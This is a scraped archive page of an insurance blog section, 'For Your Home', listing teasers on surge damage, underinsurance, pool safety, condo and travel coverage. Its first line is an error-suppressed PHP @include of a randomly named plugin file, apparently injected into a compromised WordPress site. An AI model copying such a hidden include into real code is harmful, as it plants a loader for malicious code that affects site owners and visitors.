@include("/homepages/27/d369694977/htdocs/wp-content/plugins/opt_v14o8f/optim_v28vx3.php"); For Your Home - 3/3 -

Archive for 'For Your Home'

Power Struggle: The Cost of Electrical Surge

Posted by: Charles Hagerty

Your family is forced to stay home due to the big storm hovering over the house. The comforting sounds and bright screen of your 52” LCD  television eclipses the noise from outside, and it certainly is comforting because your FSG Chicago electricity provider decided to keep the outflow of power just a little longer and tried to wait out the storm. Then it happens: Just as you’re about to discover who gets voted off the island, your family is startled ...

Continue Reading →
0

Undervaluation: Not to Be Overlooked

Posted by: Charles Hagerty

You pay for home insurance to avoid incurring large out-of-pocket expenses after a something damages your house and personal property. The last thing you need is an insurance company explaining “adequate limits of insurance” after the fact; especially if that explanation means more cost to you.

According to Marshall & Swift/Boeckh, an organization specializing in building cost research, 59% of homes were underinsured by an average of 22% in 2005. Some reasons for the high number of underinsured homes include inaccurate ...

Continue Reading →
0

This Summer, Get In the Water—and Get Out, Safely

Posted by: Charles Hagerty

A cool swim on a hot day is an American tradition. As temperatures rise, most folks want to get into the water—whether at the ocean, lake or pool.

The combination of high fuel prices and an economic slowdown may keep Americans at or near home more than usual this summer. But water safety is a concern wherever you—and especially your children—venture this summer.

Pools present dangers, particularly for young kids. Each year, some 3,500 deaths—about 10 per day—are cause by drowning, according ...

Continue Reading →
0

Stay Cool with Swimming Pool Risks

Posted by: Charles Hagerty

It’s summer, and thoughts of Americans everywhere turn to water. Whether it’s in the pool, on the lake, at the ocean or in the river, water draws people almost magnetically as the weather turns hot. In fact, swimming pool trade groups teamed up to make May “National Water Safety Month” in the United States to make consumers “water aware.”

Swimming pools are popular but also present a risk to a homeowner. While homeowners are welcoming friends and family with a clear, ...

Continue Reading →
0

A Growing Threat – Roots and Sewer Lines

Posted by: Charles Hagerty

Ever drive down the street and see a front yard with a trench that looks like someone is dredging a channel from the front door to the street? While a select few may be installing an expensive irrigation system, most are having the sewer line replaced. This line consists of a pipe that runs from the home to the mainline under the street. The lucky among them have undertaken this project on the advice of a proactive plumber who warned ...

Continue Reading →
0

Does Volunteering Your Time Mean Volunteering Your Insurance?

Posted by: Charles Hagerty

Millions of Americans donate time—their most valuable asset—to serve as a volunteer board member on non-profits, booster clubs, churches, PTAs and civic organizations, just to name a few. The decisions these folks make can have a dramatic impact on their respective organization—and not always for the better. If a volunteer endeavor goes bad, would a volunteer board member have coverage against a lawsuit under his or her homeowner’s policy?

Homeowners’ Insurance

The last thing volunteers want to consider is what would happen ...

Continue Reading →
0

Safety Makes Your Summer Party Memorable—In the Right Way

Posted by: Charles Hagerty

The entertainment value in a summertime get-together can be in the camaraderie and storytelling. But don’t let your next backyard barbecue turn into a tale of woe, to be retold years from now.

One party hostess recalled a disastrous event that involved hot oil, alcohol, a paper tablecloth and fireworks:

“The oil to fry the turkey was too hot and too full (yes, we fry our turkeys in Texas). Maybe it had to do with the over-served [read: one too many alcoholic ...

Continue Reading →
0

When You Travel, Do You Need Special Insurance?

Posted by: Charles Hagerty

Recent months have brought travel risks to the forefront of consumers’ minds: the economic downturn, safety risks overseas due to political unrest, and a potential new strain of influenza that has emerged from Mexico.

There are two broad types of travel-related coverage for those leaving the United States:

  • Travel insurance covers the loss of the prepaid travel costs of a trip should it be canceled, interrupted, or postponed. It also can reimburse unexpected expenses incurred due to a sudden change ...

    Continue Reading →
    0

Condos: Easy Living, Tough Insurance

Posted by: Charles Hagerty

Do you own a condominium? To you, condo ownership may represent a feasible way to home ownership. Or maybe it represents a second residence in some exotic location you like to visit. Or maybe it’s an investment to generate rental income. Regardless of why you own, understand that insuring a condo is much different than insuring a traditional home.

Statutes and Paperwork

A thorough review of your master deed (often called declarations or “docs”) is necessary to adequately insure the condos for ...

Continue Reading →
0

Daylight Savings Time Sets Off Spring Cleaning—and a Safety Check

Posted by: Charles Hagerty

The catchy phrase “spring ahead” signals change for Americans. It’s a reminder to move clocks ahead one hour for daylight savings time. And it’s an optimistic forecast that warmer and sunnier weeks are ahead. With these seasonal changes, millions take on “spring cleaning” of homes, garages, and yards.

When you’re longing to get outside in the spring months, consider several simple steps to enhance safety for you and your family. After all, the numbers show where the danger is: Home accidents ...

Continue Reading →
0
Page 3 of 3 123